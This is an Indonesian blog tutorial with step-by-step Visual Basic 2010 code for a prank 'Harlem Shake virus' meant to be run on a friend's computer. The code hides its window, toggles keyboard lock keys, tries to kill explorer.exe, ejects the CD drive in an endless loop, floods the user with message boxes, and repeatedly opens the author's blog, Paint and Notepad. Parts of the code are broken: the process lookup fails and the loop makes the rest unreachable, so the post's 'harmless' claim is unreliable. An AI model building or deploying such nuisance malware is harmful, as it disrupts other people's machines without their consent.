Membuat Virus Harlem Shake Dengan VB 2010

Kali ini kita akan membuat virus iseng untuk isengin temen yang gaptek
kali ini lab-vb akan membuat komputer akan menari harlem shake yg lgi ngetren itu,Virus ini akan memperlambat kerja komputer Dan joget sndiri , bagi yg dah ngk sabar langsung aja dah ^^



1. Jalan kan VB 2010
2. Klik Window  Form Aplication
3. Kali ini tak usah kasih nama
4. atur Form1 di Properties Show in Taskbar Jadi False dan Form Border Style  jadi  None
5. Tambahkan 1 Timer ,Double Klik dan masukkan kode ini

        SendKeys.Send("{Capslock}")
        SendKeys.Send("{Capslock}")
        SendKeys.Send("{Capslock}")
        SendKeys.Send("{ScrollLock}")
        SendKeys.Send("{ScrollLock}")
        SendKeys.Send("{NumLock}")
        SendKeys.Send("{NumLock}")

6.Balik ke Form1.vb[Design] Double Klik Form1 Dan masukan kode ini
        Timer1.Start()
        MsgBox("Andre keren ")
        Process.Start("www.citdewa.blogspot.com")

      Process.Start("www.youtube.com/watch?v=0IJoKuTlvuM")
  Dim RunningProcess As System.Diagnostics.Process =

 Process.GetProcessesByName("explorer.exe")(0)

        RunningProcess.Kill()
Do

            Dim oWMP = CreateObject("WMPlayer.OCX.7")
            Dim colCDROMs = oWMP.cdromCollection
            If colCDROMs.Count = 1 Then
                For i = 0 To colCDROMs.Count - 1
                    colCDROMs.Item(i).Eject()
                Next
            End If
        Loop

        MsgBox("Nah Lo ")

        Process.Start("www.citdewa.blogspot.com")

        MsgBox("Kenapa ini  ")

        Process.Start("www.citdewa.blogspot.com")

        MsgBox("Kok jadi harlem Shake sih  ")

        Process.Start("www.citdewa.blogspot.com")

        MsgBox("kok aneh sih")

        Process.Start("www.citdewa.blogspot.com")

        MsgBox("Kenapa yaaa ")

        Process.Start("www.citdewa.blogspot.com")

        MsgBox("Komputer bego ")

        Process.Start("www.citdewa.blogspot.com")

        MsgBox("Instal ulang sna dih ")

        Process.Start("www.citdewa.blogspot.com")

        MsgBox("Selamat anda terkena Virus")

        Process.Start("www.citdewa.blogspot.com")

        MsgBox("Mau Gambar ????? ")

        Shell("Paint")
        Process.Start("www.citdewa.blogspot.com")

        MsgBox("Andre keren ")
        Process.Start("www.citdewa.blogspot.com")

        Shell("Paint")

        Process.Start("www.citdewa.blogspot.com")      
        MsgBox("Andre keren ")
        Process.Start("www.citdewa.blogspot.com")

        Shell("Paint")
        Process.Start("www.citdewa.blogspot.com")
        Process.Start("www.citdewa.blogspot.com")

        MsgBox("Andre keren ")
       Process.Start("www.citdewa.blogspot.com")
       Process.Start("www.citdewa.blogspot.com")
       Process.Start("www.citdewa.blogspot.com")
       Process.Start("www.citdewa.blogspot.com")
       Process.Start("www.citdewa.blogspot.com")
       Process.Start("www.citdewa.blogspot.com")

        Shell("Paint")

        MsgBox("Andre keren ")

        MsgBox("Kesel ??????")

        MsgBox("Andre keren ")

        Shell("Notepad")

        MsgBox("Andre keren ")

        Shell("Notepad")

        MsgBox("Andre keren ")

        Shell("Notepad")

        MsgBox("Andre keren ")

        Shell("Notepad")

        MsgBox("Just Kidding Hehehehe  ")

6. Tekan F5  Efeknya Tidak Merusak  Dan  Komputer akan joget sendiri hehehehe

Kunjungi Terus Lab-vb.blogspot.com